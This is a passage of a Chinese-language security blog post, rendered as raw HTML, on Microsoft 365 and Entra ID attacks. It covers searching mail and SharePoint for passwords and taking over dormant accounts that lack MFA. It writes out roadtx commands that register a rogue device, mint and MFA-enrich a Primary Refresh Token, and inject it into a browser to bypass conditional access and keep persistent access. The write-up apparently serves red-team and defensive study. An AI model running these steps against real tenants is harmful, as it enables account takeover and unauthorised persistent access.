sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 18 - 在邮件中搜索密码</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你也可以在 SharePoint Online 中搜索密码。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.228125" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012358" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2eb4f28a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSjUtvwn8RhwJvbgSQCtvgiaygL33fib7trqq8028JqbiaSkqoSE4IINibRrSBO3s47TkWG7eMjHwViazd2iaqXOoSIGUMBruR0vItRzA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 19 - 在 SharePoint Online 中搜索密码</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.3 接管休眠账户/服务账户的 MFA</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">已知 APT29 (Cozy Bear) 经常滥用休眠的 Microsoft 365 账户,包括利用 MFA 的自助注册流程。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><u><span leaf=""><a href="https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft" target="_blank">https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft</a></span></u></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">许多组织没有在条件访问中保护其安全信息注册流程,这最终就形成了账户接管的缺口。在 token 窃取的最后这一部分,我将演示如何利用用户、设备和 MFA 实现对一个启用了 Entra ID join 条件访问的云环境的持久访问。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">只需一 (1) 次使用弱密码的密码喷洒、一次成功的钓鱼,或者在 Microsoft 365 服务中搜索密码,就能找到一些可能未启用 MFA 的休眠账户。服务账户几乎从不注册 MFA,甚至可能存在阻止启用 MFA 的限制。这类账户通常没有针对云身份验证的访问限制。在博客的最后一步中,我们将使用 Firefox 的一个 agent switcher 插件来寻找绕过条件访问策略的方法,并使用名为 roadtx 的工具,通过主刷新令牌 (Primary Refresh Token, PRT) 维持持久访问。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">到目前为止,我们已经具备如下场景:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">通过密码喷洒获得的休眠账户用户名和密码</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">该休眠账户未启用 MFA</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">条件访问策略限制所有用户只能从 Entra ID joined 设备访问</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">对修改安全信息没有任何限制</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来,我们将探讨如何使用 roadtx 来绕过这些限制。首先使用以下命令进行交互式认证以完成设备注册:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">roadtx interactiveauth </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">u username@</span><span style="color: rgb(0, 92, 197);"><span leaf="">domain</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">local</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">p </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;password&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">r devicereg</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于该账户处于休眠状态,系统会要求我们注册 MFA。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012360" data-ratio="0.790625" style="max-width: 100%;height: auto !important;" data-type="png" data-w="320" src="https://wechat2rss.xlab.app/img-proxy/?k=afa6b2a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaaSyBu3RzLSL0fAuwiaCsPGdPevic9b8E5TqSFpS7FgiauJ19Bu9auj4gJP0N5PpkR6beQCWiawPbV4ibvwUoMwYLcK6yeUKw0gKs4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 20 - MFA 注册提示</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来,在 roadtx 中使用以下命令为我们的设备命名:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">roadtx device -n hackerdevice1337</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.23125" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012364" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2a9d1f50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiary1mQRLyicFOVKibJDx3EcicUolKYthCDGgH2GRytMxMv9rxk4fBrLSxia6TkEHxm3keVpgOUHHJ1iaOnwIJAdsf7m7mNzibgFcEVU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 21 - 设备注册</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上述命令会为该设备生成一对公钥/私钥,这在后续的主刷新令牌 (PRT) 配对以及 MFA 富化 (enrichment) 过程中是必需的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来,我们启动主刷新令牌流程,并通过 roadtx 将所有相关信息保存到文件中。需要执行以下命令:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">roadtx prt </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">u username@</span><span style="color: rgb(0, 92, 197);"><span leaf="">domain</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">local</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">p </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;password&#39;</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">--key hackerdevice1337.key --cert-pem hackerdevice1337.pem</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">只要拿到 PRT 和会话密钥 (session key),就可以进入下一步了。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.35" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012365" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f34c1983&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShjBgf2F8iaawKHTbpkAHE1ia6cM02eaLhWq23YQ7x9A8ugrWdtXbTsxQaHdWaRndFoCG7k8fiamAsNnu3py3c3UWkEFeficUqXWdk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 22 - 通过设备证书获得的 Roadtx Session Key</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来这一步需要 MFA,理想情况是该账户已经注册了由攻击者控制的 MFA 方法。富化流程需要执行以下命令:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">roadtx prtenrich --prt roadtx</span><span style="color: rgb(111, 66, 193);"><span leaf="">.prt</span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.378125" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012367" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=0bb2df30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiayHw8sC9Qyaib0DXA8hHO3jibdMYZ9Ozta5LCG6DseyAH3YEIziaKt8sgKuWUiavo5K7NQussNzQYsQTqqn1dVztTZY3uCaSzXa80%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 23 - 为主刷新令牌添加 MFA Claim</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">收到的 refresh token 是一个带有 MFA claim 的特殊 refresh token。现在我们可以使用它,通过以下命令将 MFA claim 加入到主刷新令牌中:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">roadtx prt </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">u username@</span><span style="color: rgb(0, 92, 197);"><span leaf="">domain</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">local</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">p </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;password&#39;</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">--key hackerdevice1337.key --cert-pem hackerdevice1337.pem -r &#34;0AVAA..&#34;</span><span leaf=""><br/></span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.609375" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012366" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=94dc824f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjWJmvecqibhx4jOuNKTx6T0PSPfhkaLvAr0yxccuVpXEgDs1gqvadVT0wUsyEkZMpwBKEU2BJouictCRVKdoiczdCtTBtBrdKz4k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 24 - 将特殊 Refresh Token 加入到 PRT 中</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">至此,你可以使用 </span><strong><span leaf="">browserprtinject</span></strong><span leaf="">功能,自动访问任何指定的 Microsoft 365 或 Azure URL,例如 Microsoft Office。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">roadtx browserprtinject </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">u username@</span><span style="color: rgb(0, 92, 197);"><span leaf="">domain</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">local</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">--prt roadtx.prt -url <a href="http://office.com" target="_blank">http://office.com</a></span><span leaf=""><br/></span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6625" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012362" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=40435a94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaHwudd7EBRVkYw2uribqMTHibJSPTT0aibNvyS81TVxY173x5p10hAN8XibJXDIbRCDeaN2g4L1daNBBN2Ocnh9NQAxu7baqzx2ZI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 25 - 访问 Microsoft 365</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果我们简要查看一下在 Azure 中创建的这台设备,会看到它的状态是 Microsoft Entra ID joined。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.353125" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012368" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=a2f30ba0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjtCakeaa9eQrDiabnN3NxHL9fZkOWtj5nm0k9qGaJr1YvxCicHTgarUo6mPWiboRkkI0rNY4zh1XjtianLPicDr8oD7TVQGFav9Lmc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 26 - Entra ID 设备状态</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 